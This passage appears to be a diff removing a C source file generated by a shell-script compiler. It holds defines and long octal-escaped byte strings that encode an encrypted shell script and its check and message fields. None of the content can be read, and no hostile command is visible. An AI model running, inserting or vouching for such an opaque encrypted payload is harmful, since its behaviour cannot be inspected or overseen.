chk2_z 19 -#define chk2 ((&data[3])) - "\325\217\031\263\156\135\062\310\367\035\156\022\260\125\114\134" - "\010\105\320\260\014\176" -#define msg1_z 65 -#define msg1 ((&data[35])) - "\255\155\253\026\061\252\257\364\210\101\011\146\141\012\221\225" - "\232\001\207\354\300\342\070\272\345\120\101\141\220\173\172\323" - "\163\103\242\330\221\316\346\276\211\226\323\117\101\120\145\043" - "\243\135\215\121\361\350\361\260\366\031\126\126\375\101\057\257" - "\115\260\253\256\215\035\007\260\210\016\216\325\160\017\003\162" - "\134\336\060\155\024\340\310\016\217\345\344" -#define date_z 1 -#define date ((&data[113])) - "\215" -#define tst2_z 19 -#define tst2 ((&data[117])) - "\126\163\300\141\376\045\252\367\020\137\021\236\273\110\140\035" - "\351\323\107\364\007\305\207\035\160" -#define tst1_z 22 -#define tst1 ((&data[142])) - "\206\014\022\346\007\136\124\313\164\277\344\264\271\123\215\263" - "\076\357\227\065\026\147\034\172\160\211\177\157\150" -#define rlax_z 1 -#define rlax ((&data[168])) - "\264" -#define chk1_z 22 -#define chk1 ((&data[172])) - "\036\212\160\151\327\174\156\246\222\025\066\113\267\265\055\062" - "\043\037\233\056\364\012\360\171\264\075\211\154" -#define shll_z 10 -#define shll ((&data[197])) - "\136\027\006\325\015\000\226\050\226\064" -#define msg2_z 19 -#define msg2 ((&data[210])) - "\003\343\107\233\316\050\325\341\230\123\261\335\105\252\377\234" - "\073\177\137\156\033\176\177\211\371\006" -#define opts_z 1 -#define opts ((&data[233])) - "\240" -#define inlo_z 3 -#define inlo ((&data[234])) - "\035\073\253" -#define text_z 20565 -#define text ((&data[1999])) - "\124\374\002\162\207\163\260\020\337\326\142\366\122\050\316\126" - "\013\025\326\225\017\334\053\033\154\101\226\145\005\355\333\132" - "\352\335\314\161\120\175\202\060\123\344\047\245\015\365\373\031" - "\013\322\256\032\256\332\065\032\033\313\200\041\271\133\173\243" - "\071\110\025\212\305\227\272\030\174\342\276\212\330\272\243\343" - "\214\121\375\072\054\063\125\107\376\325\151\270\061\344\134\152" - "\055\161\364\362\011\257\013\206\221\311\020\151\203\263\115\020" - "\005\112\113\061\176\240\171\175\166\342\065\247\306\221\021\364" - "\003\006\346\015\265\361\224\106\273\244\260\077\130\375\117\135" - "\110\232\217\306\073\010\103\262\353\171\131\262\013\153\246\017" - "\161\214\034\047\176\260\156\072\125\036\171\255\034\311\013\144" - "\144\233\053\237\244\157\122\217\350\254\101\364\027\347\003\211" - "\163\040\260\362\321\036\054\046\075\246\324\131\157\340\276\323" - "\173\351\163\037\131\305\256\101\161\357\066\211\327\071\022\113" - "\131\303\075\052\342\151\121\040\017\045\171\177\006\070\122\201" - "\042\306\241\173\214\117\275\375\077\363\207\026\055\232\142\207" - "\136\237\262\100\011\003\140\031\051\332\230\057\022\353\261\064" - "\262\122\260\076\242\155\074\341\141\303\370\216\135\132\025\273" - "\372\307\374\003\313\135\035\364\067\265\044\112\241\325\177\123" - "\047\060\222\311\235\316\253\376\222\244\215\360\377\242\254\371" - "\152\250\375\065\005\032\051\075\320\115\210\162\043\010\306\112" - "\070\130\024\326\047\277\325\271\144\142\251\143\005\125\135\157" - "\376\133\245\004\166\316\102\107\034\313\271\100\323\200\212\014" - "\331\236\343\000\136\270\272\302\033\144\045\040\272\203\220\270" - "\336\065\274\124\004\377\233\041\312\124\141\236\325\354\253\256" - "\212\216\256\351\107\151\253\143\315\321\204\207\124\024\077\062" - "\112\374\206\117\374\042\160\306\167\322\145\114\276\020\372\111" - "\237\251\062\347\022\336\112\337\257\316\147\003\343\247\065\055" - "\244\274\174\240\336\355\147\125\277\314\242\176\335\234\307\175" - "\105\372\144\130\330\257\070\207\175\237\213\141\107\301\217\353" - "\176\014\214\134\371\363\262\271\300\124\070\236\361\000\033\067" - "\372\200\217\323\057\307\133\255\147\346\016\256\247\235\231\045" - "\252\046\202\243\031\065\135\332\212\225\170\173\225\224\262\220" - "\024\102\143\103\011\276\361\161\245\377\037\114\235\271\162\110" - "\337\364\353\371\052\111\323\264\337\114\057\165\340\342\006\364" - "\044\151\070\056\050\051\237\316\051\277\032\307\171\215\017\131" - "\202\373\122\254\105\046\140\044\162\220\232\122\163\240\107\230" - "\012\177\306\062\251\146\001\323\046\033\233\237\251\252\371\053" - "\246\113\330\353\162\070\020\344\311\252\066\075\113\175\325\125" - "\375\233\210\247\002\211\172\050\245\025\310\116\300\301\172\146" - "\015\122\122\177\213\143\143\125\016\232\222\131\030\147\256\025" - "\003\067\274\005\300\067\056\145\115\367\264\015\270\056\164\306" - "\201\307\105\014\052\251\141\071\103\363\222\134\133\101\162\136" - "\170\057\144\071\146\223\236\263\212\123\301\103\201\065\011\002" - "\374\117\017\047\370\160\140\074\144\363\230\300\064\012\036\255" - "\072\203\346\240\026\205\124\240\331\025\343\132\112\355\135\107" - "\074\155\157\065\336\320\162\102\303\013\003\370\026\041\246\120" - "\245\215\360\273\022\104\134\353\132\100\106\245\055\244\355\152" - "\021\134\240\360\054\022\063\357\035\066\350\063\130\216\203\375" - "\033\164\270\056\271\024\032\023\124\141\271\202\005\246\354\027" - "\002\215\007\056\237\072\036\275\160\006\360\311\225\164\306\260" - "\351\176\336\243\223\370\266\350\131\157\152\137\026\127\167\030" - "\344\177\107\204\271\146\101\052\155\062\363\002\246\272\262\220" - "\070\221\063\314\212\352\264\344\132\037\104\160\166\273\211\133" - "\072\320\337\364\066\040\037\243\122\023\246\371\315\131\212\006" - "\352\275\322\165\250\207\132\002\246\236\163\035\132\374\170\224" - "\315\127\211\003\170\250\247\313\273\115\304\211\247\117\217\222" - "\014\141\007\265\350\141\270\217\000\053\254\132\050\044\357\365" - "\174\170\371\365\041\241\300\335\357\205\146\226\324\365\050\341" - "\127\057\226\100\221\117\317\221\172\173\354\243\240\333\230\035" - "\124\222\022\165\063\323\123\042\130\272\270\055\257\340\016\007" - "\020\245\110\242\364\027\063\157\223\040\022\063\373\253\121\117" - "\075\143\305\160\066\030\223\217\322\113\274\202\054\313\212\075" - "\160\322\337\145\352\023\324\175\063\347\261\056\222\002\176\317" - "\146\104\100\235\135\323\055\060\037\351\262\113\265\075\210\045" - "\020\147\213\372\172\137\167\255\107\051\334\331\054\133\251\222" - "\237\351\060\374\275\135\054\334\106\337\047\373\034\260\041\054" - "\030\255\046\222\014\236\100\124\310\034\055\364\167\326\206\027" - "\300\266\023\176\023\077\132\132\036\202\126\073\062\170\150\112" - "\045\217\335\062\056\035\206\366\072\263\352\262\212\161\311\113" - "\047\335\311\073\035\044\226\074\246\354\167\331\144\340\044\212" - "\157\001\274\235\037\102\223\132\366\176\015\201\357\327\315\027" - "\264\227\122\321\273\350\015\142\325\205\073\072\145\137\304\325" - "\141\200\163\200\303\007\333\272\205\350\074\165\277\011\214\163" - "\240\336\105\134\307\123\276\234\331\372\327\077\131\233\024\272" - "\034\207\073\337\216\026\232\024\376\326\211\276\337\025\062\200" - "\364\167\334\274\313\233\131\244\225\060\343\356\313\367\251\347" - "\177\345\307\016\374\141\042\373\067\253\271\027\301\353\227\265" - "\143\164\161\056\017\312\322\244\372\266\223\306\255\075\255\055" - "\043\165\073\037\326\135\033\015\011\324\044\312\300\274\177\043" - "\060\361\122\077\273\045\344\266\333\170\174\211\265\052\266\330" - "\237\362\370\166\117\023\203\131\350\250\043\250\144\243\314\224" - "\224\037\324\120\104\271\006\040\061\203\251\347\256\140\277\116" - "\122\270\304\242\314\107\373\264\360\037\135\124\302\052\351\126" - "\111\276\247\215\167\255\255\251\061\127\220\337\267\120\055\012" - "\010\361\255\324\071\250\211\052\310\347\176\212\021\150\341\132" - "\047\210\350\237\066\226\110\147\356\330\107\246\050\165\260\061" - "\147\135\006\241\006\217\313\316\167\111\131\210\262\072\343\332" - "\302\314\171\371\142\301\140\120\231\250\367\302\035\247\363\204" - "\005\372\045\013\212\361\332\001\072\063\211\355\155\155\307\060" - "\071\100\051\233\002\212\354\234\063\343\136\120\213\122\325\220" - "\115\373\234\327\354\166\330\047\252\142\025\030\317\335\111\011" - "\035\162\245\040\375\221\274\060\165\033\201\001\156\127\222\273" - "\123\056\222\100\245\153\150\120\316\175\150\236\132\261\247\170" - "\044\114\231\042\336\125\123\124\160\324\125\337\054\347\232\177" - "\026\055\277\274\231\050\014\147\245\164\006\000\045\255\171\112" - "\372\022\154\331\147\277\055\330\224\203\267\300\153\122\100\201" - "\177\000\075\031\050\111\200\315\276\207\316\344\065\107\056\060" - "\131\233\011\301\132\067\232\357\273\122\260\046\244\360\250\044" - "\360\346\075\031\060\276\347\357\106\265\323\173\375\002\253\126" - "\235\264\030\370\354\262\347\247\004\227\316\251\210\167\315\170" - "\135\013\221\216\312\170\175\020\056\121\214\053\123\067\202\360" - "\354\232\351\331\115\321\200\121\150\117\373\360\306\311\151\044" - "\325\373\263\237\164\061\260\242\202\074\316\325\164\120\306\140" - "\352\257\071\067\200\272\211\351\011\204\332\320\116\104\365\043" - "\077\250\302\264\331\163\127\133\257\045\061\043\165\367\204\140" - "\247\276\230\050\170\042\021\202\246\353\123\365\057\110\030\157" - "\360\332\044\312\115\173\046\375\240\127\041\026\117\245\166\366" - "\143\017\036\334\061\060\137\330\033\262\315\113\372\345\273\353" - "\277\337\265\015\133\334\013\373\063\055\021\203\322\210\171\066" - "\227\230\222\066\313\240\262\360\375\331\202\371\047\003\224\252" - "\140\060\377\051\120\171\202\072\351\045\337\374\222\146\022\063" - "\140\010\000\364\361\252\014\167\110\256\167\161\141\277\011\210" - "\362\177\011\031\102\326\134\023\265\316\220\262\006\331\042\155" - "\137\071\263\313\016\311\166\005\153\053\177\267\372\303\372\004" - "\151\007\232\132\143\216\071\102\377\035\247\333\232\143\334\330" - "\151\176\107\374\377\056\162\043\113\035\373\043\000\127\210\306" - "\357\176\154\311\234\222\131\167\341\156\140\151\121\226\300\230" - "\075\161\051\275\126\307\160\333\214\240\325\147\214\165\266\244" - "\062\143\326\272\222\053\173\052\146\007\356\017\351\363\104\321" - "\254\335\171\051\370\314\360\243\345\012\266\245\212\227\270\000" - "\221\001\372\347\137\044\275\235\001\211\063\337\302\254\076\261" - "\214\317\032\243\203\273\360\303\223\212\012\303\030\311\332\064" - "\241\002\077\236\227\306\035\354\204\227\202\123\130\374\315\173" - "\352\342\075\363\145\251\271\357\325\030\070\012\103\164\251\213" - "\072\167\215\115\114\020\046\040\007\126\016\242\021\003\057\077" - "\160\153\060\320\323\142\063\375\047\300\300\256\130\364\351\246" - "\135\156\326\024\347\354\144\250\061\110\025\044\214\320\275\165" - "\031\011\306\205\001\146\002\160\233\275\204\245\253\102\105\036" - "\131\004\051\334\054\353\136\244\006\013\133\363\167\161\165\340" - "\041\042\277\061\006\307\156\146\227\337\354\006\265\315\376\032" - "\316\137\064\341\370\104\301\137\106\111\005\270\121\005\360\342" - "\036\070\332\170\257\264\022\207\074\306\327\350\367\135\134\232" - "\225\270\156\171\161\152\162\237\070\247\005\112\323\014\265\034" - "\115\215\324\131\211\130\377\160\314\267\242\343\334\207\165\047" - "\137\105\177\251\257\176\104\346\144\366\251\330\271\305\211\033" - "\145\172\246\343\003\123\020\312\364\037\036\317\170\045\164\374" - "\047\314\001\377\326\102\134\311\256\156\036\247\361\262\354\067" - "\010\140\026\001\367\016\032\362\317\145\037\016\235\324\230\107" - "\305\156\203\275\047\366\212\051\234\330\375\156\101\275\314\155" - "\111\275\165\137\316\213\371\351\107\215\004\346\155\266\075\122" - "\131\145\011\132\046\147\046\223\115\252\077\301\175\072\122\143" - "\160\023\075\125\142\302\313\357\051\302\042\130\052\277\162\304" - "\013\340\343\154\156\045\253\074\362\001\036\314\271\215\347\102" - "\247\375\123\337\004\247\154\100\057\341\301\033\245\261\366\162" - "\270\010\163\022\103\120\362\155\224\132\264\214\002\145\257\025" - "\255\220\300\035\332\050\126\301\163\356\033\153\005\060\247\031" - "\255\146\122\323\202\223\144\352\363\301\116\360\150\172\057\172" - "\116\056\242\237\124\164\021\350\000\056\273\127\073\135\147\334" - "\022\071\306\146\102\324\024\206\177\110\375\112\046\233\133\176" - "\132\301\063\361\202\345\374\237\003\010\274\223\074\270\324\237" - "\271\101\133\365\012\337\064\173\234\251\035\332\202\103\274\263" - "\162\170\232\202\241\056\205\073\010\011\151\063\162\074\061\016" - "\151\277\340\124\342\060\235\337\352\223\375\065\065\337\255\172" - "\114\120\150\343\124\311\377\312\103\364\157\202\036\347\233\175" - "\335\144\254\133\137\140\024\304\343\311\101\206\212\074\075\360" - "\104\337\351\123\302\151\151\376\337\332\255\326\053\114\201\025" - "\346\140\236\335\243\074\101\170\314\243\021\356\232\276\035\224" - "\216\100\031\053\262\212\016\006\206\134\177\317\332\145\236\325" - "\334\050\342\244\130\344\146\055\155\172\234\302\214\353\135\267" - "\261\025\224\003\211\072\227\161\012\171\324\016\241\363\003\315" - "\036\225\212\312\141\272\146\127\133\214\224\154\255\157\335\374" - "\215\010\107\267\037\054\173\210\200\005\231\133\300\233\045\043" - "\322\221\174\024\325\244\235\136\021\245\177\034\101\335\321\064" - "\126\227\020\031\170\055\354\134\337\246\141\034\367\333\226\326" - "\364\166\071\130\217\366\355\127\111\314\055\114\236\251\005\072" - "\350\354\040\362\236\253\164\042\277\040\236\166\021\363\066\262" - "\156\056\353\126\313\220\346\166\051\240\327\236\211\242\261\272" - "\121\312\046\316\265\046\036\326\357\302\363\375\072\060\323\113" - "\067\354\025\134\204\360\267\042\131\234\313\115\104\013\036\262" - "\136\101\246\104\114\000\004\177\046\072\315\356\030\017\132\073" - "\014\065\376\072\243\146\023\070\336\202\362\154\064\351\131\121" - "\104\147\273\200\266\001\331\076\336\176\330\032\164\155\177\373" - "\014\175\006\165\367\372\356\004\250\315\004\303\135\214\061\135" - "\212\065\310\041\271\264\364\341\335\015\116\363\255\363\237\341" - "\352\153\354\353\267\160\373\261\205\006\015\057\355\152\130\247" - "\313\307\010\216\373\204\171\177\071\251\361\146\326\336\371\034" - "\330\065\317\353\135\227\325\365\026\222\117\202\164\173\017\346" - "\345\150\313\270\331\120\355\332\206\106\031\123\022\223\017\107" - "\334\070\265\210\101\232\122\257\141\232\116\157\177\370\336\177" - "\314\177\345\165\333\377\261\321\236\060\174\062\071\125\006\176" - "\275\301\066\326\342\133\222\076\275\236\326\166\267\144\020\355" - "\263\172\327\070\341\113\160\223\234\221\232\202\370\063\035\155" - "\220\075\303\177\363\255\057\023\316\054\162\060\222\044\165\206" - "\156\171\003\323\142\242\340\113\130\073\200\315\223\232\256\111" - "\344\241\270\342\335\223\301\373\011\266\162\102\211\372\312\063" - "\023\263\046\011\305\356\317\043\176\317\072\214\353\171\222\302" - "\356\311\333\127\004\317\266\303\221\064\103\043\357\141\040\266" - "\013\265\360\133\034\372\101\017\236\151\213\374\120\012\344\126" - "\362\062\007\252\034\374\141\241\073\152\103\352\144\135\055\214" - "\244\210\220\255\214\231\314\176\115\276\103\272\077\276\043\036" - "\351\113\173\335\174\000\164\224\031\362\015\205\100\277\253\177" - "\317\152\072\127\205\364\161\364\053\030\250\134\076\152\357\074" - "\254\157\242\132\333\265\347\225\221\225\144\354\017\052\050\260" - "\323\236\304\245\243\356\313\201\305\267\041\204\100\326\165\031" - "\362\035\005\370\231\122\077\263\116\361\100\326\172\015\061\252" - "\043\355\330\155\105\213\305\336\176\303\161\301\064\002\271\017" - "\341\356\250\006\037\252\114\114\142\030\264\075\345\024\113\177" - "\101\042\306\106\075\274\102\131\071\006\113\233\244\261\356\017" - "\066\350\151\177\222\262\025\220\304\001\247\206\062\301\107\144" - "\303\131\100\232\067\103\113\356\175\154\147\022\370\206\136\042" - "\012\121\054\042\266\207\332\177\320\356\123\332\203\131\131\170" - "\365\347\132\234\033\016\111\154\022\001\307\245\125\335\155\041" - "\123\325\274\037\104\100\031\057\022\126\164\150\173\247\243\173" - "\045\164\042\302\027\051\047\210\266\101\241\071\153\215\127\166" - "\354\227\000\134\300\120\313\350\210\046\261\013\154\325\314\355" - "\241\017\232\332\242\076\117\176\337\160\217\176\122\013\106\345" - "\043\142\076\250\100\045\234\125\254\045\160\044\100\225\166\156" - "\046\333\025\000\216\172\061\342\037\200\053\015\176\303\171\272" - "\311\225\014\256\105\033\007\021\356\205\232\041\014\045\227\054" - "\344\252\234\272\236\233\046\233\377\362\314\122\160\324\161\013" - "\320\144\244\276\203\124\201\242\233\000\121\017\334\115\266\025" - "\251\157\374\236\233\337\177\111\137\200\326\005\043\222\062\250" - "\171\227\204\152\356\264\100\276\150\146\361\034\332\044\072\160" - "\117\141\076\314\006\067\266\036\201\054\047\332\141\101\263\027" - "\152\256\050\200\133\204\202\317\330\235\032\321\223\061\040\371" - "\174\142\171\144\323\024\163\020\005\036\155\016\126\332\172\251" - "\346\340\126\024\047\157\216\107\006\356\133\135\344\222\132\110" - "\024\061\373\314\314\223\072\033\154\362\371\017\341\123\205\256" - "\106\243\270\206\277\204\320\100\075\050\207\350\101\107\004\106" - "\107\075\123\053\044\357\030\362\024\071\115\325\016\000\375\365" - "\013\366\356\112\346\350\357\323\104\272\314\100\371\157\334\171" - "\274\276\324\005\120\170\173\232\247\342\231\334\107\214\224\030" - "\235\015\151\131\213\020\355\030\357\005\027\117\260\125\025\315" - "\354\351\011\303\121\343\025\004\076\350\274\236\130\041\357\032" - "\131\104\165\323\253\376\041\037\070\015\011\354\021\275\022\031" - "\331\236\226\246\055\301\046\227\170\370\032\113\051\006\223\035" - "\022\327\172\004\276\033\310\241\220\324\373\205\267\156\263\016" - "\210\256\231\007\015\314\200\222\350\336\030\025\156\253\227\227" - "\313\036\111\062\013\212\032\257\335\230\374\316\230\037\231\375" - "\037\340\131\123\057\161\133\161\273\016\140\071\146\074\224\160" - "\000\044\112\243\131\361\371\211\073\304\261\357\122\221\250\356" - "\025\104\302\101\163\224\247\146\132\134\111\005\346\301\353\144" - "\014\367\114\014\105\124\263\265\315\116\163\072\125\316\173\117" - "\340\257\164\100\261\044\254\165\327\372\144\301\207\077\201\170" - "\142\314\151\300\241\121\137\322\011\136\375\307\326\016\170\164" - "\251\031\344\010\215\377\026\250\327\245\015\074\023\241\235\245" - "\101\127\055\002\065\163\166\210\076\164\327\263\225\220\035\351" - "\273\260\130\303\305\341\067\010\313\133\357\016\264\140\342\051" - "\264\362\353\112\255\033\011\324\127\176\163\127\331\143\350\032" - "\144\073\217\136\257\200\045\151\207\162\372\211\212\317\036\265" - "\101\322\177\114\234\164\023\071\100\233\175\375\316\102\072\235" - "\120\370\375\044\373\270\303\262\336\132\167\342\034\126\202\102" - "\102\310\174\005\320\017\000\270\237\062\353\000\223\345\071\050" - "\253\302\045\037\243\360\075\342\106\216\235\362\335\046\272\102" - "\132\235\205\343\304\357\032\035\315\215\263\230\150\040\333\110" - "\350\040\104\202\160\054\130\170\325\055\277\065\354\131\020\304" - "\114\324\327\067\203\232\347\342\372\053\152\000\047\161\172\237" - "\315\214\116\055\321\002\021\270\172\332\342\221\260\256\255\024" - "\044\314\165\147\371\214\240\047\061\120\365\170\015\045\162\222" - "\167\047\140\012\224\004\240\324\175\067\064\202\232\331\241\060" - "\252\254\272\304\044\010\326\154\150\100\145\142\225\213\036\351" - "\376\006\220\105\342\330\020\064\105\342\273\022\342\250\163\072" - "\236\123\250\005\276\166\212\016\142\103\314\076\131\313\007\164" - "\343\275\232\366\330\257\374\173\373\201\133\351\252\201\101\267" - "\102\266\235\176\311\111\363\365\155\336\220\330\336\204\155\134" - "\316\361\000\140\233\146\355\045\021\353\157\144\377\073\151\164" - "\031\111\362\177\232\223\021\321\311\261\150\123\023\237\254\313" - "\005\074\167\035\251\236\376\316\331\222\121\070\022\050\022\211" - "\253\047\345\211\216\030\275\255\046\055\053\076\336\371\336\016" - "\031\164\215\367\203\034\346\375\343\106\225\165\346\014\276\311" - "\214\077\245\242\152\244\077\203\200\233\274\265\042\247\204\067" - "\263\107\055\240\313\160\145\023\300\164\041\161\073\130\324\266" - "\256\276\100\273\274\250\115\347\147\072\041\076\223\041\362\052" - "\335\206\276\060\005\353\157\173\356\340\014\126\222\027\155\336" - "\076\001\240\074\330\132\265\022\220\202\273\001\142\122\012\147" - "\054\230\304\261\310\032\216\267\035\136\136\173\053\245\114\347" - "\144\372\061\342\045\230\266\350\167\076\262\113\373\346\123\100" - "\266\061\224\340\222\211\036\140\160\033\353\372\355\172\374\255" - "\340\213\307\030\314\075\014\266\020\161\015\266\014\307\131\160" - "\036\154\161\120\372\257\216\050\021\212\347\042\315\330\147\101" - "\266\360\040\264\242\307\115\140\055\151\267\226\074\207\105\157" - "\357\026\051\047\257\371\011\243\051\036\041\375\216\102\330\154" - "\204\113\071\206\350\321\105\157\110\270\213\302\261\323\014\233" - "\041\145\121\031\160\124\044\173\303\270\215\121\126\330\101\225" - "\256\244\201\322\262\313\327\147\352\374\120\057\361\213\335\313" - "\104\324\017\311\211\057\320\001\231\210\234\176\343\364\303\334" - "\235\226\055\052\032\157\267\122\127\013\321\034\031\304\010\053" - "\277\204\321\272\037\310\277\105\170\064\003\362\077\243\224\362" - "\324\076\207\307\041\011\172\356\343\310\070\057\313\114\071\056" - "\203\232\121\153\102\164\072\004\305\035\365\254\376\253\344\236" - "\004\121\154\066\022\140\172\120\332\316\347\266\005\350\102\001" - "\122\260\340\012\237\000\121\121\112\313\023\265\050\234\124\354" - "\133\056\170\170\350\025\052\123\205\125\300\221\160\362\127\316" - "\102\101\231\334\226\063\167\166\244\371\135\270\346\014\270\243" - "\060\216\200\115\212\216\027\054\266\271\264\001\372\036\054\375" - "\375\145\331\012\363\250\336\022\352\256\267\174\057\065\020\076" - "\031\306\036\135\011\221\035\177\307\016\314\106\333\075\262\247" - "\362\260\017\231\076\047\165\217\076\171\273\342\331\142\211\013" - "\167\001\335\227\126\271\117\367\260\262\226\242\211\205\111\333" - "\325\255\245\025\264\200\043\020\073\272\175\262\105\067\262\363" - "\115\223\216\364\124\052\055\134\207\262\051\273\020\237\071\150" - "\026\233\350\321\200\206\347\333\107\255\350\276\351\000\173\317" - "\025\012\306\275\057\357\153\077\221\270\100\112\026\123\124\311" - "\134\105\155\165\122\364\102\113\155\022\105\120\336\346\217\120" - "\003\135\231\036\375\122\321\366\325\300\152\205\105\276\324\145" - "\116\174\102\362\172\371\213\330\227\337\322\155\114\301\066\153" - "\274\205\165\305\065\070\127\266\175\047\077\106\023\354\323\074" - "\337\070\323\051\306\013\143\220\241\066\230\211\243\034\061\057" - "\330\263\124\064\167\322\062\013\151\026\316\322\072\314\051\100" - "\121\004\111\151\134\364\311\136\052\306\053\146\065\322\072\376" - "\250\066\373\062\034\141\171\214\154\275\320\153\310\053\223\031" - "\033\226\003\062\164\323\112\373\104\235\146\074\157\174\215\057" - "\257\023\376\265\022\311\006\171\375\321\124\165\233\015\301\040" - "\212\377\170\207\357\035\033\324\024\361\041\155\163\157\270\154" - "\275\304\312\237\253\151\365\172\205\152\260\016\345\224\252\334" - "\221\342\261\040\060\323\172\355\143\144\315\157\112\057\073\202" - "\042\244\054\057\270\365\260\133\264\101\061\340\330\153\151\034" - "\350\256\341\262\327\051\034\202\125\333\361\226\144\237\131\021" - "\265\254\042\131\052\051\101\101\105\274\054\277\154\340\274\334" - "\003\056\000\213\311\173\075\174\343\033\111\020\035\152\343\143" - "\275\100\376\317\150\364\115\024\253\323\133\355\010\110\153\056" - "\133\143\241\056\257\355\356\353\130\207\237\111\343\313\304\226" - "\070\110\111\023\173\254\053\254\042\330\357\160\137\047\160\241" - "\254\230\063\332\161\241\167\231\251\072\262\170\144\033\255\304" - "\030\026\312\341\274\241\240\265\104\036\240\252\325\373\073\047" - "\227\064\354\004\120\100\172\074\226\170\014\246\234\034\056\063" - "\312\141\164\323\324\064\256\312\242\252\074\033\275\210\153\063" - "\150\305\170\363\331\363\246\244\071\251\141\330\237\066\027\041" - "\060\112\044\020\271\071\303\360\110\277\121\141\321\277\265\216" - "\240\122\201\255\164\302\323\163\015\236\266\224\247\266\206\071" - "\111\056\240\147\236\070\202\223\072\043\004\077\170\362\310\022" - "\266\345\275\316\043\362\130\112\072\200\046\375\303\214\160\242" - "\255\141\174\110\126\042\044\273\104\252\353\031\231\274\376\017" - "\373\331\367\347\207\222\106\245\253\346\250\062\044\056\057\212" - "\007\017\025\027\352\243\165\362\126\200\056\224\261\266\335\371" - "\156\206\074\156\003\232\313\040\015\053\306\315\034\125\271\074" - "\330\054\353\360\064\056\305\144\230\244\077\374\371\074\161\340" - "\001\044\300\332\075\320\265\352\303\017\134\346\013\137\156\123" - "\215\134\147\140\352\365\072\107\102\055\320\307\335\267\345\065" - "\115\077\230\127\004\137\176\301\252\066\310\176\025\172\251\360" - "\104\112\102\011\152\104\336\171\117\120\173\136\323\340\324\210" - "\343\201\043\237\311\371\011\101\275\146\314\342\120\243\111\317" - "\120\065\326\135\232\131\015\162\237\006\216\236\046\147\371\366" - "\014\072\264\254\316\262\253\372\014\314\043\324\202\112\247\301" - "\037\366\275\161\363\254\055\145\032\337\231\062\312\043\244\321" - "\223\302\070\053\054\221\013\320\171\153\116\256\121\043\321\060" - "\106\217\072\056\030\232\276\311\016\072\273\335\372\364\176\307" - "\046\213\216\107\172\256\166\135\333\171\302\147\231\035\143\102" - "\370\305\201\301\331\230\352\125\104\121\024\231\353\261\207\377" - "\333\147\332\224\106\105\133\275\232\115\241\351\071\376\107\014" - "\050\375\176\057\060\044\210\253\210\000\373\051\146\015\112\045" - "\157\275\316\065\105\272\340\266\212\125\235\057\306\013\106\003" - "\166\046\026\377\010\302\100\303\357\146\207\374\265\221\310\353" - "\341\032\250\134\252\266\145\341\362\302\057\210\032\052\272\071" - "\221\300\134\212\370\062\350\040\040\335\367\377\250\021\203\231" - "\015\104\032\243\000\130\237\351\245\207\042\301\273\044\324\210" - "\172\330\166\210\104\270\366\203\157\303\361\267\007\364\120\010" - "\001\123\013\225\161\224\064\120\373\332\017\307\223\157\330\065" - "\270\305\341\044\204\212\022\354\071\323\031\025\234\361\334\104" - "\000\302\046\124\271\054\027\001\015\216\307\364\202\136\120\302" - "\073\343\261\152\235\272\106\237\163\342\153\372\142\262\345\222" - "\200\333\051\344\200\162\222\236\222\204\015\252\040\012\227\010" - "\057\204\322\136\235\017\351\120\253\131\235\175\227\362\130\072" - "\370\341\144\165\037\376\247\261\356\100\021\322\115\025\163\161" - "\300\057\251\367\316\371\340\032\046\157\263\063\055\142\356\314" - "\147\143\161\277\221\243\210\203\141\324\135\063\130\334\056\265" - "\224\042\044\102\326\256\357\050\021\040\160\020\063\014\321\066" - "\102\104\375\065\103\022\002\304\012\304\302\276\065\006\146\335" - "\337\030\173\010\214\303\177\016\051\006\070\075\166\225\240\204" - "\001\371\306\263\275\017\153\147\265\251\140\067\026\055\337\147" - "\111\114\241\142\255\235\172\200\373\306\256\377\354\106\004\332" - "\033\151\105\120\005\050\242\105\357\114\301\123\132\266\207\334" - "\051\143\212\215\154\130\337\217\037\114\311\227\015\006\127\221" - "\332\042\347\035\364\221\112\074\350\025\016\357\370\233\067\072" - "\202\026\266\131\261\051\016\144\166\072\374\073\077\306\036\110" - "\046\023\172\111\216\017\102\105\330\364\222\272\265\336\206\100" - "\220\152\225\042\340\274\154\314\350\036\001\160\341\335\053\200" - "\143\077\336\077\310\215\237\017\212\116\053\313\370\255\234\222" - "\233\105\301\154\266\014\034\312\040\075\342\211\373\355\202\177" - "\111\232\076\367\236\276\177\333\274\176\255\225\204\342\176\117" - "\234\002\374\040\324\152\236\315\063\144\024\321\257\031\344\036" - "\333\143\167\140\016\243\137\144\170\264\122\115\207\027\150\230" - "\203\053\323\306\253\176\321\070\125\362\200\000\155\335\333\306" - "\375\014\003\301\327\342\361\115\266\321\041\053\016\064\375\133" - "\057\370\133\133\133\134\045\261\211\376\155\032\332\342\272\116" - "\220\357\176\312\342\317\065\354\221\350\322\062\234\301\361\046" - "\071\045\250\160\044\256\306\015\214\200\347\151\037\226\250\032" - "\306\301\116\145\145\025\010\263\273\277\050\345\202\272\364\243" - "\076\310\200\325\155\313\327\141\146\323\043\336\123\325\021\272" - "\124\316\242\301\330\100\077\343\066\261\223\170\220\141\233\374" - "\063\141\362\074\071\257\304\166\030\330\203\027\055\047\054\027" - "\254\230\151\150\267\232\073\055\145\133\174\277\277\253\375\025" - "\102\255\233\311\076\305\147\154\004\245\127\335\003\325\274\354" - "\321\326\124\104\266\214\074\110\030\157\215\365\115\320\040\353" - "\046\352\026\073\176\232\152\360\370\374\253\165\043\375\261\300" - "\157\207\211\105\265\242\257\170\274\101\052\330\051\235\255\273" - "\135\274\123\224\026\070\317\231\077\066\244\111\255\327\370\322" - "\252\074\106\277\156\251\032\007\365\115\143\014\315\166\344\136" - "\217\053\230\271\140\252\150\265\121\315\337\004\305\134\233\137" - "\235\363\303\252\026\344\210\357\263\111\215\306\075\003\177\374" - "\000\050\272\055\133\345\313\211\300\206\170\074\265\300\110\206" - "\265\002\100\350\327\002\031\162\234\136\025\123\205\177\006\264" - "\062\370\367\130\143\124\215\215\225\135\370\037\105\347\116\047" - "\364\341\037\006\231\050\074\117\354\143\267\324\377\330\100\236" - "\245\372\101\240\257\250\003\043\302\355\237\334\317\056\002\060" - "\211\356\303\326\264\076\213\202\277\221\302\206\336\042\345\332" - "\226\177\327\115\347\162\277\236\210\316\162\162\333\077\114\221" - "\017\266\274\327\200\145\057\264\051\240\137\163\032\202\367\100" - "\071\374\030\004\345\314\236\024\153\363\307\077\271\010\243\066" - "\132\310\104\262\362\225\024\225\340\136\376\212\361\063\201\234" - "\346\057\272\346\147\333\022\072\165\163\113\062\076\022\210\226" - "\342\316\306\042\001\037\300\315\017\144\052\171\202\057\246\340" - "\106\064\132\176\365\043\021\352\112\350\225\320\027\115\152\361" - 